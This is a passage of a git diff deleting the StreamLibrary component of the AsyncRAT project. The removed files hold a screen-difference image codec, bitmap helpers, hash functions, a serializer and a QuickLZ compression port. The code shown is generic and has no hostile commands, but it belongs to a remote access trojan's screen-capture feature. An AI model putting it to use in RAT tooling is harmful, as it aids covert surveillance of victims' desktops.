- if (x + CheckBlock.Width > OutputRect.Width) - break; - - int EncodeOffset = GetOffset(x, y); - long offset = FastBitmap.CalcImageOffset(x, y, Format, ImageWidth); - ulong* ScanPtr = (ulong*)(StartScan + offset); - - if (EncodeBuffer[EncodeOffset] != *ScanPtr) - { - EncodeBuffer[EncodeOffset] = *ScanPtr; - - Rectangle cBlock = new Rectangle(x, y, CheckBlock.Width, CheckBlock.Height); - int index = points.Count - 1; - if (points.Count > 0 && (points[index].X + points[index].Width) == cBlock.X) - { - Rectangle rect = points[index]; - int newWidth = cBlock.Width + rect.Width; - cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height); - points[index] = cBlock; - } - else - { - points.Add(cBlock); - } - } - } - } - return points; - } - - private Point GetOffsetPoint(int x, int y) - { - return new Point((int)Math.Floor((float)(y / CheckBlock.Height)) * BlockWidth, - (int)Math.Floor((double)(x / CheckBlock.Width))); - } - - private int GetOffset(int x, int y) - { - return (int)Math.Floor((float)(y / CheckBlock.Height)) * BlockWidth + - (int)Math.Floor((double)(x / CheckBlock.Width)); - } - - public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream) - { - byte[] temp = new byte[4]; - inStream.Read(temp, 0, 4); - int DataSize = BitConverter.ToInt32(temp, 0); - - if (decodedBitmap == null) - { - temp = new byte[DataSize]; - inStream.Read(temp, 0, temp.Length); - this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return decodedBitmap; - } - - List updates = new List(); - Rectangle rect; - Graphics g = Graphics.FromImage(decodedBitmap); - Bitmap tmp; - byte[] buffer = null; - MemoryStream m; - - while (DataSize > 0) - { - byte[] tempData = new byte[4 * 5]; - inStream.Read(tempData, 0, tempData.Length); - - rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), - BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); - int UpdateLen = BitConverter.ToInt32(tempData, 16); - buffer = new byte[UpdateLen]; - inStream.Read(buffer, 0, buffer.Length); - - if (onDecodeDebugScan != null) - onDecodeDebugScan(rect); - - m = new MemoryStream(buffer); - tmp = (Bitmap)Image.FromStream(m); - g.DrawImage(tmp, rect.Location); - tmp.Dispose(); - - m.Close(); - m.Dispose(); - DataSize -= UpdateLen + (4 * 5); - } - g.Dispose(); - return decodedBitmap; - } - - public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length) - { - if (Length < 4) - return decodedBitmap; - - int DataSize = *(int*)(CodecBuffer); - if (decodedBitmap == null) - { - byte[] temp = new byte[DataSize]; - fixed (byte* tempPtr = temp) - { - NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize); - } - - this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return decodedBitmap; - } - - byte* bufferPtr = (byte*)CodecBuffer.ToInt32(); - if (DataSize > 0) - { - Graphics g = Graphics.FromImage(decodedBitmap); - for (int i = 4; DataSize > 0; ) - { - Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4), - *(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12)); - int UpdateLen = *(int*)(bufferPtr + i + 16); - byte[] temp = new byte[UpdateLen]; - - fixed (byte* tempPtr = temp) - { - NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen); - using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr))) - { - g.DrawImage(TmpBmp, new Point(rect.X, rect.Y)); - } - } - DataSize -= UpdateLen + (4 * 5); - i += UpdateLen + (4 * 5); - } - g.Dispose(); - } - return decodedBitmap; - } - } -} diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/CRC32.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/CRC32.cs deleted file mode 100644 index 7e89054..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/CRC32.cs +++ /dev/null @@ -1,186 +0,0 @@ -// Tamir Khason http://khason.net/ -// -// Released under MS-PL : 6-Apr-09 -using System; -using System.Collections.Generic; -using System.Text; -using System.Security.Cryptography; -using System.Collections; -using System.IO; - -namespace StreamLibrary.src -{ - /// Implements a 32-bits cyclic redundancy check (CRC) hash algorithm. - /// This class is not intended to be used for security purposes. For security applications use MD5, SHA1, SHA256, SHA384, - /// or SHA512 in the System.Security.Cryptography namespace. - public class CRC32 : HashAlgorithm - { - #region CONSTRUCTORS - /// Creates a CRC32 object using the . - public CRC32() - : this(DefaultPolynomial) - { - } - - /// Creates a CRC32 object using the specified polynomial. - /// The polynomical should be supplied in its bit-reflected form. . - public CRC32(uint polynomial) - { - HashSizeValue = 32; - _crc32Table = (uint[])_crc32TablesCache[polynomial]; - if (_crc32Table == null) - { - _crc32Table = CRC32._buildCRC32Table(polynomial); - _crc32TablesCache.Add(polynomial, _crc32Table); - } - Initialize(); - } - - // static constructor - static CRC32() - { - _crc32TablesCache = Hashtable.Synchronized(new Hashtable()); - _defaultCRC = new CRC32(); - } - #endregion - - #region PROPERTIES - /// Gets the default polynomial (used in WinZip, Ethernet, etc.) - /// The default polynomial is a bit-reflected version of the standard polynomial 0x04C11DB7 used by WinZip, Ethernet, etc. - public static readonly uint DefaultPolynomial = 0xEDB88320; // Bitwise reflection of 0x04C11DB7; - #endregion - - #region METHODS - /// Initializes an implementation of HashAlgorithm. - public override void Initialize() - { - _crc = _allOnes; - } - - /// Routes data written to the object into the hash algorithm for computing the hash. - protected override void HashCore(byte[] buffer, int offset, int count) - { - for (int i = offset; i < count; i++) - { - ulong ptr = (_crc & 0xFF) ^ buffer[i]; - _crc >>= 8; - _crc ^= _crc32Table[ptr]; - } - } - - /// Finalizes the hash computation after the last data is processed by the cryptographic stream object. - protected override byte[] HashFinal() - { - byte[] finalHash = new byte[4]; - ulong finalCRC = _crc ^ _allOnes; - - finalHash[0] = (byte)((finalCRC >> 0) & 0xFF); - finalHash[1] = (byte)((finalCRC >> 8) & 0xFF); - finalHash[2] = (byte)((finalCRC >> 16) & 0xFF); - finalHash[3] = (byte)((finalCRC >> 24) & 0xFF); - - return finalHash; - } - - /// Computes the CRC32 value for the given ASCII string using the . - public static int Compute(string asciiString) - { - _defaultCRC.Initialize(); - return ToInt32(_defaultCRC.ComputeHash(asciiString)); - } - - /// Computes the CRC32 value for the given input stream using the . - public static int Compute(Stream inputStream) - { - _defaultCRC.Initialize(); - return ToInt32(_defaultCRC.ComputeHash(inputStream)); - } - - /// Computes the CRC32 value for the input data using the . - public static int Compute(byte[] buffer) - { - _defaultCRC.Initialize(); - return ToInt32(_defaultCRC.ComputeHash(buffer)); - } - - /// Computes the hash value for the input data using the . - public static int Compute(byte[] buffer, int offset, int count) - { - _defaultCRC.Initialize(); - return ToInt32(_defaultCRC.ComputeHash(buffer, offset, count)); - } - - /// Computes the hash value for the given ASCII string. - /// The computation preserves the internal state between the calls, so it can be used for computation of a stream data. - public byte[] ComputeHash(string asciiString) - { - byte[] rawBytes = ASCIIEncoding.ASCII.GetBytes(asciiString); - return ComputeHash(rawBytes); - } - - /// Computes the hash value for the given input stream. - /// The computation preserves the internal state between the calls, so it can be used for computation of a stream data. - new public byte[] ComputeHash(Stream inputStream) - { - byte[] buffer = new byte[4096]; - int bytesRead; - while ((bytesRead = inputStream.Read(buffer, 0, 4096)) > 0) - { - HashCore(buffer, 0, bytesRead); - } - return HashFinal(); - } - - /// Computes the hash value for the input data. - /// The computation preserves the internal state between the calls, so it can be used for computation of a stream data. - new public byte[] ComputeHash(byte[] buffer) - { - return ComputeHash(buffer, 0, buffer.Length); - } - - /// Computes the hash value for the input data. - /// The computation preserves the internal state between the calls, so it can be used for computation of a stream data. - new public byte[] ComputeHash(byte[] buffer, int offset, int count) - { - HashCore(buffer, offset, count); - return HashFinal(); - } - #endregion - - #region PRIVATE SECTION - private static uint _allOnes = 0xffffffff; - private static CRC32 _defaultCRC; - private static Hashtable _crc32TablesCache; - private uint[] _crc32Table; - private uint _crc; - - // Builds a crc32 table given a polynomial - private static uint[] _buildCRC32Table(uint polynomial) - { - uint crc; - uint[] table = new uint[256]; - - // 256 values representing ASCII character codes. - for (int i = 0; i < 256; i++) - { - crc = (uint)i; - for (int j = 8; j > 0; j--) - { - if ((crc & 1) == 1) - crc = (crc >> 1) ^ polynomial; - else - crc >>= 1; - } - table[i] = crc; - } - - return table; - } - - private static int ToInt32(byte[] buffer) - { - return BitConverter.ToInt32(buffer, 0); - } - #endregion - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/ExtensionAttribute.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/ExtensionAttribute.cs deleted file mode 100644 index 5ea4bfc..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/ExtensionAttribute.cs +++ /dev/null @@ -1,12 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Text; - -namespace System.Runtime.CompilerServices -{ - [AttributeUsage(AttributeTargets.Method)] - public sealed class ExtensionAttribute : Attribute - { - public ExtensionAttribute() { } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/Extentions.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/Extentions.cs deleted file mode 100644 index 82590e7..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/Extentions.cs +++ /dev/null @@ -1,59 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Text; - -namespace StreamLibrary.src -{ - public static unsafe class Extensions - { - public static SortedList> RectanglesTo2D(this Rectangle[] rects) - { - SortedList> Rects = new SortedList>(); - for (int i = 0; i < rects.Length; i++) - { - if (!Rects.ContainsKey(rects[i].Y)) - Rects.Add(rects[i].Y, new SortedList()); - - if (!Rects[rects[i].Y].ContainsKey(rects[i].X)) - Rects[rects[i].Y].Add(rects[i].X, rects[i]); - } - return Rects; - } - - public static SortedList> Rectangle2DToRows(this SortedList> Rects) - { - SortedList> RectRows = new SortedList>(); - - for (int i = 0; i < Rects.Values.Count; i++) - { - if (!RectRows.ContainsKey(Rects.Values[i].Values[0].Y)) - { - RectRows.Add(Rects.Values[i].Values[0].Y, new SortedList()); - } - if (!RectRows[Rects.Values[i].Values[0].Y].ContainsKey(Rects.Values[i].Values[0].X)) - { - RectRows[Rects.Values[i].Values[0].Y].Add(Rects.Values[i].Values[0].X, Rects.Values[i].Values[0]); - } - - Rectangle EndRect = Rects.Values[i].Values[0]; - for (int x = 1; x < Rects.Values[i].Values.Count; x++) - { - Rectangle CurRect = Rects.Values[i].Values[x]; - Rectangle tmpRect = RectRows[EndRect.Y].Values[RectRows[EndRect.Y].Count - 1]; - if (tmpRect.IntersectsWith(new Rectangle(CurRect.X - 1, CurRect.Y, CurRect.Width, CurRect.Height))) - { - RectRows[EndRect.Y][tmpRect.X] = new Rectangle(tmpRect.X, tmpRect.Y, tmpRect.Width + EndRect.Width, tmpRect.Height); - EndRect = Rects.Values[i].Values[x]; - } - else - { - EndRect = Rects.Values[i].Values[x]; - RectRows[Rects.Values[i].Values[0].Y].Add(EndRect.X, EndRect); - } - } - } - return RectRows; - } - } -} diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/FastBitmap.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/FastBitmap.cs deleted file mode 100644 index 319d630..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/FastBitmap.cs +++ /dev/null @@ -1,353 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using System.Text; - -namespace StreamLibrary.src -{ - public unsafe class FastBitmap - { - public Bitmap bitmap { get; set; } - public BitmapData bitmapData { get; private set; } - public int Width { get; private set; } - public int Height { get; private set; } - public PixelFormat format { get; private set; } - public DateTime BitmapCreatedAt; - public bool IsLocked { get; private set; } - - public int Stride - { - get { return bitmapData.Stride; } - } - - public FastBitmap(Bitmap bitmap, PixelFormat format) - { - switch (format) - { - case PixelFormat.Format32bppArgb: - case PixelFormat.Format24bppRgb: - case PixelFormat.Format32bppRgb: - case PixelFormat.Format8bppIndexed: - case PixelFormat.Format4bppIndexed: - case PixelFormat.Format1bppIndexed: - break; - default: - throw new NotSupportedException(format + " is not supported."); - } - - this.bitmap = bitmap; - this.Width = this.bitmap.Width; - this.Height = this.bitmap.Height; - this.format = format; - Lock(); - BitmapCreatedAt = DateTime.Now; - } - - public FastBitmap(Bitmap bitmap) - { - this.format = bitmap.PixelFormat; - - switch (format) - { - case PixelFormat.Format32bppArgb: - case PixelFormat.Format24bppRgb: - case PixelFormat.Format32bppRgb: - case PixelFormat.Format8bppIndexed: - case PixelFormat.Format4bppIndexed: - case PixelFormat.Format1bppIndexed: - break; - default: - throw new NotSupportedException(format + " is not supported."); - } - - this.bitmap = bitmap; - this.Width = this.bitmap.Width; - this.Height = this.bitmap.Height; - this.format = format; - Lock(); - BitmapCreatedAt = DateTime.Now; - } - - public Color GetPixel(int x, int y) - { - byte* position = (byte*)bitmapData.Scan0.ToPointer(); - position += CalcOffset(x, y); - - byte A = position[3]; - byte R = position[2]; - byte G = position[1]; - byte B = position[0]; - return Color.FromArgb(A, R, G, B); - } - - public void SetPixel(int x, int y, Color color) - { - byte* position = (byte*)bitmapData.Scan0.ToPointer(); - position += CalcOffset(x, y); - - position[3] = color.A; - position[2] = color.R; - position[1] = color.G; - position[0] = color.B; - } - - public Color GetPixel(int x, int y, byte[] ImgData) - { - long offset = CalcOffset(x, y) + 4; - if (offset + 4 < ImgData.Length) - { - byte R = ImgData[offset]; - byte G = ImgData[offset + 1]; - byte B = ImgData[offset + 2]; - return Color.FromArgb(255, R, G, B); - } - return Color.FromArgb(255, 0, 0, 0); - } - public void SetPixel(int x, int y, Color color, byte[] ImgData) - { - long offset = CalcOffset(x, y) + 4; - if (offset + 4 < ImgData.Length) - { - ImgData[offset] = color.R; - ImgData[offset + 1] = color.G; - ImgData[offset + 2] = color.B; - ByteArrayToBitmap(ImgData); - } - } - - public void DrawRectangle(Point begin, Point end, Color color) - { - for (int x = begin.X; x < end.X; x++) - { - for (int y = begin.Y; y < end.Y; y++) - { - SetPixel(x, y, color); - } - } - } - - public Int64 CalcOffset(int x, int y) - { - switch (format) - { - case PixelFormat.Format32bppArgb: - return (y * bitmapData.Stride) + (x * 4); - case PixelFormat.Format24bppRgb: - case PixelFormat.Format32bppRgb: - return (y * bitmapData.Stride) + (x * 3); - case PixelFormat.Format8bppIndexed: - return (y * bitmapData.Stride) + x; - case PixelFormat.Format4bppIndexed: - return (y * bitmapData.Stride) + (x / 2); - case PixelFormat.Format1bppIndexed: - return (y * bitmapData.Stride) + (x * 8); - } - return 0; - } - - public static int CalcImageOffset(int x, int y, PixelFormat format, int width) - { - switch (format) - { - case PixelFormat.Format32bppArgb: - return (y * (width * 4)) + (x * 4); - case PixelFormat.Format24bppRgb: - case PixelFormat.Format32bppRgb: - return (y * (width * 3)) + (x * 3); - case PixelFormat.Format8bppIndexed: - return (y * width) + x; - case PixelFormat.Format4bppIndexed: - return (y * (width / 2)) + (x / 2); - case PixelFormat.Format1bppIndexed: - return (y * (width * 8)) + (x * 8); - default: - throw new NotSupportedException(format + " is not supported."); - } - } - - public void ScanPixelDuplicates(Point BeginPoint, ref Point EndPoint, ref Color RetColor) - { - Color curColor = GetPixel(BeginPoint.X, BeginPoint.Y); - for (int x = BeginPoint.X; x < this.Width; x++) - { - Color prevColor = GetPixel(x, BeginPoint.Y); - - if (curColor.R != prevColor.R || - curColor.G != prevColor.G || - curColor.B != prevColor.B) - { - EndPoint = new Point(x, BeginPoint.Y); - RetColor = curColor; - return; - } - } - - EndPoint = new Point(this.Width, BeginPoint.Y); - RetColor = curColor; - } - - public void Unlock() - { - if (IsLocked) - { - bitmap.UnlockBits(bitmapData); - IsLocked = false; - } - } - public void Lock() - { - if (!IsLocked) - { - bitmapData = bitmap.LockBits(new Rectangle(0, 0, Width, Height), System.Drawing.Imaging.ImageLockMode.ReadWrite, format); - IsLocked = true; - } - } - - public byte[] ToByteArray() - { - int bytes = Math.Abs(bitmapData.Stride) * Height; - byte[] rgbValues = new byte[bytes]; - System.Runtime.InteropServices.Marshal.Copy(new IntPtr(bitmapData.Scan0.ToInt32()), rgbValues, 0, bytes); - return rgbValues; - } - - public void ByteArrayToBitmap(byte[] data) - { - System.Runtime.InteropServices.Marshal.Copy(data, 0, bitmapData.Scan0, data.Length); - } - - public void Dispose() - { - if (bitmap != null) - { - try { bitmap.UnlockBits(bitmapData); } - catch { } - try { bitmap.Dispose(); } - catch { } - try - { - bitmap = null; - bitmapData = null; - } - catch { } - } - } - - /// Get the byte points where to read from in a byte array - /// The beginning of the X, Y - /// The end of the X, Y - /// The size of the image - /// Slice the byte points into pieces to get the byte points faster - public static ArrayOffset[] GetBytePoints(Point beginPoint, Point endPoint, Size ImgSize, PixelFormat format) - { - List offsets = new List(); - - for (int y = beginPoint.Y; y < endPoint.Y; y++) - { - int BeginOffset = (int)FastBitmap.CalcImageOffset(beginPoint.X, y, format, ImgSize.Width);//(y * ImgSize.Width * 4) + (beginPoint.X * 4); - int EndOffset = (int)FastBitmap.CalcImageOffset(endPoint.X, y, format, ImgSize.Width);//(y * ImgSize.Width * 4) + (endPoint.X * 4); - - switch (format) - { - case PixelFormat.Format32bppArgb: - { - if (EndOffset + ((endPoint.X - beginPoint.X) * 4) >= (ImgSize.Width * ImgSize.Height) * 4) - break; - offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 4), beginPoint.X, y, (endPoint.X - beginPoint.X), 1)); - break; - } - case PixelFormat.Format24bppRgb: - case PixelFormat.Format32bppRgb: - { - if (EndOffset + ((endPoint.X - beginPoint.X) * 3) >= (ImgSize.Width * ImgSize.Height) * 3) - break; - offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 3), beginPoint.X, y, (endPoint.X - beginPoint.X), 1)); - break; - } - case PixelFormat.Format8bppIndexed: - { - if (EndOffset + ((endPoint.X - beginPoint.X)) >= (ImgSize.Width * ImgSize.Height)) - break; - offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X)), beginPoint.X, y, (endPoint.X - beginPoint.X), 1)); - break; - } - case PixelFormat.Format4bppIndexed: - { - if (EndOffset + ((endPoint.X - beginPoint.X) / 2) >= (ImgSize.Width * ImgSize.Height) / 2) - break; - offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) / 2), beginPoint.X, y, (endPoint.X - beginPoint.X), 1)); - break; - } - case PixelFormat.Format1bppIndexed: - { - if (EndOffset + ((endPoint.X - beginPoint.X) * 8) >= (ImgSize.Width * ImgSize.Height) * 8) - break; - offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 8), beginPoint.X, y, (endPoint.X - beginPoint.X), 1)); - break; - } - default: - { - throw new NotSupportedException(format + " is not supported."); - } - } - - } - return offsets.ToArray(); - } - - /// Get the byte points in 2D - /// The beginning of the X, Y - /// The end of the X, Y - /// The size of the image - /// Slice the byte points into pieces to get the byte points faster - public static ArrayOffset[,][] Get2DBytePoints(Point beginPoint, Point endPoint, Size ImgSize, int SlicePieces, PixelFormat format) - { - int Width = endPoint.X - beginPoint.X; - int Height = endPoint.Y - beginPoint.Y; - - float Wsize = ((float)Width / (float)SlicePieces); - float Hsize = ((float)Height / (float)SlicePieces); - - //+1 just to make sure we are not going outside the array - if (Wsize - (int)Wsize > 0.0F) Wsize += 1.0F; - if (Hsize - (int)Hsize > 0.0F) Hsize += 1.0F; - - ArrayOffset[,][] ImageArrayOffsets = new ArrayOffset[(int)Hsize, (int)Wsize][]; - Point tmp = new Point(0, 0); - for (int y = beginPoint.Y; y < Height; y += SlicePieces) - { - for (int x = beginPoint.X; x < Width; x += SlicePieces) - { - ImageArrayOffsets[tmp.Y, tmp.X] = FastBitmap.GetBytePoints(new Point(x, y), new Point(x + SlicePieces, y + SlicePieces), ImgSize, format); - tmp.X++; - } - tmp.X = 0; - tmp.Y++; - } - return ImageArrayOffsets; - } - } - - public class ArrayOffset - { - public int BeginOffset { get; private set; } - public int EndOffset { get; private set; } - public int Stride { get; private set; } - public int X { get; private set; } - public int Y { get; private set; } - public int Width { get; private set; } - public int Height { get; private set; } - - public ArrayOffset(int begin, int end, int Stride, int x, int y, int width, int height) - { - this.BeginOffset = begin; - this.EndOffset = end; - this.Stride = Stride; - this.X = x; - this.Y = y; - this.Width = width; - this.Height = height; - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/MurmurHash2Unsafe.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/MurmurHash2Unsafe.cs deleted file mode 100644 index ba82bff..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/MurmurHash2Unsafe.cs +++ /dev/null @@ -1,62 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Runtime.InteropServices; -using System.Text; - -namespace StreamLibrary.src -{ - public unsafe class MurmurHash2Unsafe - { - const UInt32 m = 0x5bd1e995; - const Int32 r = 24; - - public unsafe UInt32 Hash(Byte* data, int length) - { - if (length == 0) - return 0; - UInt32 h = 0xc58f1a7b ^ (UInt32)length; - Int32 remainingBytes = length & 3; // mod 4 - Int32 numberOfLoops = length >> 2; // div 4 - UInt32* realData = (UInt32*)data; - while (numberOfLoops != 0) - { - UInt32 k = *realData; - k *= m; - k ^= k >> r; - k *= m; - - h *= m; - h ^= k; - numberOfLoops--; - realData++; - } - switch (remainingBytes) - { - case 3: - h ^= (UInt16)(*realData); - h ^= ((UInt32)(*(((Byte*)(realData)) + 2))) << 16; - h *= m; - break; - case 2: - h ^= (UInt16)(*realData); - h *= m; - break; - case 1: - h ^= *((Byte*)realData); - h *= m; - break; - default: - break; - } - - // Do a few final mixes of the hash to ensure the last few - // bytes are well-incorporated. - - h ^= h >> 13; - h *= m; - h ^= h >> 15; - - return h; - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/PayloadWriter.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/PayloadWriter.cs deleted file mode 100644 index a76fb23..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/PayloadWriter.cs +++ /dev/null @@ -1,113 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; - -namespace StreamLibrary.src -{ - public class PayloadWriter : IDisposable - { - public Stream vStream { get; set; } - public PayloadWriter() - { - vStream = new MemoryStream(); - } - public PayloadWriter(Stream stream) - { - vStream = stream; - } - - public void WriteBytes(byte[] value) - { - vStream.Write(value, 0, value.Length); - } - - public void WriteBytes(byte[] value, int Offset, int Length) - { - vStream.Write(value, Offset, Length); - } - - public void WriteInteger(int value) - { - WriteBytes(BitConverter.GetBytes(value)); - } - - /// - /// A integer with 3 bytes not 4 - /// - public void WriteThreeByteInteger(int value) - { - WriteByte((byte)value); - WriteByte((byte)(value >> 8)); - WriteByte((byte)(value >> 16)); - } - - public void WriteUInteger(uint value) - { - WriteBytes(BitConverter.GetBytes(value)); - } - - public void WriteShort(short value) - { - WriteBytes(BitConverter.GetBytes(value)); - } - public void WriteUShort(ushort value) - { - WriteBytes(BitConverter.GetBytes(value)); - } - public void WriteULong(ulong value) - { - WriteBytes(BitConverter.GetBytes(value)); - } - - public void WriteByte(byte value) - { - vStream.WriteByte(value); - } - - public void WriteBool(bool value) - { - WriteByte(value ? (byte)1 : (byte)0); - } - - public void WriteDouble(double value) - { - WriteBytes(BitConverter.GetBytes(value)); - } - public void WriteLong(long value) - { - WriteBytes(BitConverter.GetBytes(value)); - } - public void WriteFloat(float value) - { - WriteBytes(BitConverter.GetBytes(value)); - } - public void WriteDecimal(decimal value) - { - BinaryWriter writer = new BinaryWriter(vStream); - writer.Write(value); - } - - public void WriteString(string value) - { - if (!(value == null)) - WriteBytes(System.Text.Encoding.Unicode.GetBytes(value)); - else - throw new NullReferenceException("value"); - vStream.WriteByte(0); - vStream.WriteByte(0); - } - - public int Length - { - get { return (int)vStream.Length; } - } - - public void Dispose() - { - vStream.Close(); - vStream.Dispose(); - vStream = null; - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/PointerHelper.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/PointerHelper.cs deleted file mode 100644 index 71ba44f..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/PointerHelper.cs +++ /dev/null @@ -1,58 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Text; - -namespace StreamLibrary.src -{ - /// - /// A helper class for pointers - /// - public class PointerHelper - { - private int _offset; - - public IntPtr Pointer - { - get; - private set; - } - - public int TotalLength { get; private set; } - - public int Offset - { - get { return _offset; } - set - { - if (value < 0) - throw new Exception("Offset must be >= 1"); - - if (value >= TotalLength) - throw new Exception("Offset cannot go outside of the reserved buffer space"); - - _offset = value; - } - } - - public PointerHelper(IntPtr pointer, int Length) - { - this.TotalLength = Length; - this.Pointer = pointer; - } - - /// - /// Copies data from Source to the current Pointer Offset - /// - public void Copy(IntPtr Source, int SourceOffset, int SourceLength) - { - if (CheckBoundries(this.Offset, SourceLength)) - throw new AccessViolationException("Cannot write outside of the buffer space"); - NativeMethods.memcpy(new IntPtr(this.Pointer.ToInt64() + Offset), new IntPtr(Source.ToInt64() + SourceOffset), (uint)SourceLength); - } - - private bool CheckBoundries(int offset, int length) - { - return offset + length > TotalLength; - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/SafeQuickLZ.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/SafeQuickLZ.cs deleted file mode 100644 index bde4b98..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/SafeQuickLZ.cs +++ /dev/null @@ -1,487 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Text; - -namespace StreamLibrary.src -{ - // QuickLZ data compression library - // Copyright (C) 2006-2011 Lasse Mikkel Reinhold - // lar@quicklz.com - // - // QuickLZ can be used for free under the GPL 1, 2 or 3 license (where anything - // released into public must be open source) or under a commercial license if such - // has been acquired (see http://www.quicklz.com/order.html). The commercial license - // does not cover derived or ported versions created by third parties under GPL. - // - // Only a subset of the C library has been ported, namely level 1 and 3 not in - // streaming mode. - // - // Version: 1.5.0 final - - public class SafeQuickLZ - { - public const int QLZ_VERSION_MAJOR = 1; - public const int QLZ_VERSION_MINOR = 5; - public const int QLZ_VERSION_REVISION = 0; - - // Streaming mode not supported - public const int QLZ_STREAMING_BUFFER = 0; - - // Bounds checking not supported Use try...catch instead - public const int QLZ_MEMORY_SAFE = 0; - - // Decrease QLZ_POINTERS_3 to increase level 3 compression speed. Do not edit any other values! - private const int HASH_VALUES = 4096; - private const int MINOFFSET = 2; - private const int UNCONDITIONAL_MATCHLEN = 6; - private const int UNCOMPRESSED_END = 4; - private const int CWORD_LEN = 4; - private const int DEFAULT_HEADERLEN = 9; - private const int QLZ_POINTERS_1 = 1; - private const int QLZ_POINTERS_3 = 16; - - private int headerLen(byte[] source, int offset) - { - return ((source[offset] & 2) == 2) ? 9 : 3; - } - - public int sizeDecompressed(byte[] source, int offset) - { - if (headerLen(source, offset) == 9) - return source[offset + 5] | (source[offset + 6] << 8) | (source[offset + 7] << 16) | (source[offset + 8] << 24); - else - return source[offset + 2]; - } - - public int sizeCompressed(byte[] source, int offset) - { - if (headerLen(source, offset) == 9) - return source[offset + 1] | (source[offset + 2] << 8) | (source[offset + 3] << 16) | (source[offset + 4] << 24); - else - return source[offset + 1]; - } - - private void write_header(byte[] dst, int level, bool compressible, int size_compressed, int size_decompressed) - { - dst[0] = (byte)(2 | (compressible ? 1 : 0)); - dst[0] |= (byte)(level << 2); - dst[0] |= (1 << 6); - dst[0] |= (0 << 4); - fast_write(dst, 1, size_decompressed, 4); - fast_write(dst, 5, size_compressed, 4); - } - - public byte[] compress(byte[] source, int Offset, int Length, int level) - { - int src = Offset; - int dst = DEFAULT_HEADERLEN + CWORD_LEN; - uint cword_val = 0x80000000; - int cword_ptr = DEFAULT_HEADERLEN; - byte[] destination = new byte[Length + 400]; - int[,] hashtable; - int[] cachetable = new int[HASH_VALUES]; - byte[] hash_counter = new byte[HASH_VALUES]; - byte[] d2; - int fetch = 0; - int last_matchstart = (Length - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1); - int lits = 0; - - if (level != 1 && level != 3) - throw new ArgumentException("C# version only supports level 1 and 3"); - - if (level == 1) - hashtable = new int[HASH_VALUES, QLZ_POINTERS_1]; - else - hashtable = new int[HASH_VALUES, QLZ_POINTERS_3]; - - if (Length == 0) - return new byte[0]; - - if (src <= last_matchstart) - fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16); - - while (src <= last_matchstart) - { - if ((cword_val & 1) == 1) - { - if (src > Length >> 1 && dst > src - (src >> 5)) - { - d2 = new byte[Length + DEFAULT_HEADERLEN]; - write_header(d2, level, false, Length, Length + DEFAULT_HEADERLEN); - System.Array.Copy(source, 0, d2, DEFAULT_HEADERLEN, Length); - return d2; - } - - fast_write(destination, cword_ptr, (int)((cword_val 